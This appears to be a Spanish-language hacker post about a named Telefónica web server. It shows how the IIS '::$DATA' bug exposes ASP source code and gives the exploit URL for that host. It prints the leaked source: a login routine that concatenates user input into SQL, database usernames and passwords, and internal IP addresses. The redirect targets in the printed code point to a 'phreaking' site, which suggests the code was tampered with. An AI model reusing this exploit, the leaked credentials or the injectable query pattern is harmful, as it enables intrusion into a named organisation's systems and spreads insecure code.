El servidor web cdcjds.telefonica.es donde se concentran diversios recursos de acceso limitado sobre la tecnologia en estado de arte JDS (Jerarquia Digital Sincrona) es vulnerable a un conocido bug que afecta a los servidores web IIS Internet Information Server de Micro$oft y que nos ha permitido por ejemplo acceder al siguiente codigo fuente Active Server Pages del sistema de seguridad basado en validacion usuario/password contra una base de datos SQL
<% 'Comprueba el login Session("UserID")="0" Session("bService1State")="0" Session("bService2State")="0" Session("bService3State")="0" Session("bService4State")="0" Session("bService5State")="0" Session("bIDType")="0" password = Trim(Request("password")) Login = Trim(Request("Login")) If Login = "" or password = "" then Response.Redirect("http://www.geocities.com/SiliconValley/Chip/1490/phreaking/badlogin.asp?IDMensaje=1") SQL = "SELECT * FROM Users WHERE ((cLogin='" & Login & "') and (cPassword='" & password & "'))" 'Response.write(SQL) Set RS=Session("Conn").Execute(SQL) If RS.EOF then a = Session("XTaD").OLECheckSecurity( 91, 0, -1, 91, 0, 0, "Acceso Fallido al Sistema") Response.Redirect("http://www.geocities.com/SiliconValley/Chip/1490/phreaking/badlogin.asp?IDMensaje=1") else 'response.write(Rs("fUserToDate") & "-" & Date() & "") 'If (Year(Rs("fUserToDate")) & "/" & Month(Rs("fUserToDate")) & "/" & Day(Rs("fUserToDate")))(Year(Date()) & "/" & Month(Date()) & "/" & Day(Date())) then Response.Redirect("http://www.geocities.com/SiliconValley/Chip/1490/phreaking/badlogin.asp?IDMensaje=2") If Rs("fUserToDate")Date() then a = Session("XTaD").OLECheckSecurity( 91, 0, -1, 91, 0, 0, "Acceso Fallido al Sistema") Response.Redirect("http://www.geocities.com/SiliconValley/Chip/1490/phreaking/Badlogin2.html") end if Session("UserID")=RS("UserID") Session("bService1State")=RS("bService1State") Session("bService2State")=RS("bService2State") Session("bService3State")=RS("bService3State") Session("bService4State")=RS("bService4State") Session("bService5State")=RS("bService5State") Session("bIDType")=RS("bIDType") a = Session("XTaD").OLECheckSecurity( 90, 0, -1, 90, 0, 0, "Acceso Correcto al Sistema") Session("NOMBRE_REP")=Trim(RS("cUser") & " " & RS("cLastName")) Session("EMAIL_REP")=RS("cEmail") response.redirect("http://www.geocities.com/SiliconValley/Chip/1490/phreaking/parent.asp") 'Response.Redirect("http://www.geocities.com/SiliconValley/Chip/1490/phreaking/index2.asp") End if %>Los datos de arriba pueden ser accedidos por cualquiera siguiendo este enlace (hasta que el administrador haga su trabajo y corriga el problema) El bug de seguridad en cuestion consiste en agregar al final de la direccion de las paginas ASP el codigo ::$DATA de esta forma y debido a una mala implementacion del uso de ficheros NTFS por parte de IIS provoca que se pueda acceder al codigo fuente de las paginas que en condiciones normales son primero ejecutadas en el servidor. Este bug para el cual existe parches desde hace meses (y que claro esta no han aplicado los administradores del cdcjds.telefonica.es) tiene serias implicaciones de seguridad, pues permite obtener informacion esencial de procesos de validacion de claves, seguridad basada en la ip del usuario, etc
http://cdcjds.telefonica.es/global.asa::$DATA (el global.asa es el fichero que gestion las aplicaciones web del IIS, donde a veces se pueden encontrar cosas curiosas) SCRIPT LANGUAGE="VBScript" RUNAT="Server" Sub Session_OnStart Session("AdminMail")="[email protected]" Set Session("CONN") = Server.CreateObject("ADODB.Connection") Session("CONN").Open("DSN=Heidi;UID=cgiheidi;PWD=cgihd;") Session("UserID")="0" Session("bService1State")="0" Session("bService2State")="0" Session("bService3State")="0" Session("bService4State")="0" Session("bService5State")="0" Session("bIDType")="0" '****************************** '** Objetos de gesti�n '****************************** Set Session("XTaD") = Server.CreateObject("XTadObj.XTadObj.1") Set Session("SFile") = Server.CreateObject("SATLFile.SATLFile.1") Set Session("SNews20") = Server.CreateObject("SNews201.SNews201.1") Session("SNews20").OLESetODBC("ODBC;DSN=heidi;UID=cgiHeidi;PWD=cgiHD;") Session("ODBCType") = "MSSQL" Session("SNews20").InicializaAll() Session("CurrentFolder")=0 Session("FolderResourceID")=0 Session("RoomResourceID")=0 Session("TablonResourceID")=0 Session("SectionID")="0" Session("NOMBRE_REP") = "" Session("EMAIL_REP") = "" Session("COMPANY_REP") = "" 'Session("mailhost")="192.0.2.1" 'Session("mailhost")="10.16.96.200" Session("mailhost")="192.168.1.6" Session("SGRAddress")="http://80.0.0.100" session("SendHDMail") = "1" End Sub Sub Session_OnEnd End Sub Sub Application_OnStart End Sub Sub Application_OnEnd End Sub
Mas informacion sobre el bug en Boletines de seguridad micro$oft